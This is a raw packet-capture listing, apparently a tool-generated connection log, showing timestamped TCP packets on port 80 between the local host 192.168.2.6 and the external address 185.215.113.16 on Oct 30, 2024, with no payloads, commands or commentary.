Oct 30, 2024 05:24:23.129971981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.129996061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130069971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.130157948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130175114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130214930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130225897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130239010 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.130304098 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.130614042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130623102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130676985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.130738974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130748987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130835056 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.130893946 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130918980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130929947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130940914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.130987883 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.180984020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181049109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181078911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181091070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181102037 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181106091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.181121111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181132078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181143045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.181173086 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181196928 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.181231976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.181569099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181617022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181639910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181653023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.181662083 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.181740046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.225558996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.225595951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.225606918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.225665092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.248939991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.248986959 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.248991966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249197960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249207973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249218941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249242067 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.249285936 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.249361992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249377966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249391079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249402046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249414921 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.249438047 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.249780893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249792099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249831915 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.249921083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249933004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249947071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249969959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.249975920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.249980927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.250020981 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.295244932 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.300282955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.300353050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.300365925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.300390005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.300403118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.300410032 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.300448895 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.300571918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.300596952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.300610065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.300622940 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.300627947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.300642967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.300661087 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.300693035 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.301134109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.301157951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.301176071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.301187038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.301198006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.301201105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.301225901 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.342123985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.344765902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.344914913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.344926119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.344938040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.344975948 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.344995022 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.368510008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.368529081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.368541002 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.368552923 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.368572950 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.368611097 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.368741989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.368752956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.368763924 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.368776083 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.368789911 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.368823051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.369138956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.369183064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.369309902 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.369318962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.369330883 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.369340897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.369364023 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.369609118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.369620085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.369632006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.369642973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.369663954 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.369693041 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.419523954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.419538975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.419589043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.419625044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.419637918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.419676065 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.419796944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.419809103 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.419821978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.419840097 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.419862032 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.420012951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.420094967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.420114040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.420151949 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.420227051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.420272112 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.420454025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.420512915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.420526028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.420536995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.420567989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.420593977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.463923931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.463936090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.463988066 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.464010000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.464020967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.464060068 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.487674952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.487694979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.487709045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.487747908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.487770081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.487821102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.487962008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.487988949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.487999916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.488042116 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.488214016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.488244057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.488255024 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.488270998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.488275051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.488298893 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.488696098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.488708019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.488718033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.488729000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.488749027 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.488778114 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.489119053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.489131927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.489141941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.489154100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.489164114 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.489181995 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.529644012 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.762717009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.762830019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.762854099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.762866020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.762876034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.762878895 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.762893915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.762906075 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.762917995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.762921095 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.762928963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.762940884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.762953043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.762963057 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.762993097 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.762994051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763004065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763020992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763032913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763045073 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.763056040 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.763266087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763309956 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.763490915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763503075 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763556957 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.763591051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763602018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763614893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763634920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.763653994 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.763775110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763971090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763982058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.763993979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764005899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764019012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764031887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764048100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764050961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764066935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764080048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764111042 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764137983 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764163017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764173985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764184952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764203072 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764220953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764228106 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764231920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764245987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764249086 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764290094 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764519930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764533043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764545918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764569044 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764576912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764589071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764602900 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764602900 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764632940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764643908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764656067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764657021 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764667988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764678955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764689922 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764691114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764714956 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764714956 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764816046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764847994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.764858961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.764885902 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.765780926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.765791893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.765805960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.765820026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.765822887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.765841961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.765875101 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.765875101 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.768313885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.768330097 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.768348932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.768356085 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.768362045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.768378973 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.768390894 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.768588066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.768637896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.768644094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.768703938 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.768785000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.768795967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.768831015 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.768898964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.768922091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.768924952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.768934011 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.768965006 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.769140005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.769182920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.769202948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.769247055 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.769258976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.769269943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.769304991 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.769584894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.769623995 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.769633055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.769751072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.769762039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.769799948 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.769821882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.769834042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.769845963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.769870043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.769893885 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.770291090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.770319939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.770330906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.770340919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.770371914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.770371914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.770390987 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.770612955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.770639896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.770651102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.770659924 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.770674944 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.770692110 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.770701885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.770714045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.770740986 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.770756006 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.771195889 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.771229982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.771234035 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.771241903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.771254063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.771280050 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.771326065 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.771682978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.771694899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.771704912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.771724939 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.771745920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.771905899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.771954060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.772027016 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.772053957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.772092104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.772104025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.772151947 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:23.772177935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.772191048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.772202015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:23.772213936 CET	80	49760	185.215.113.16	192.168.2.6
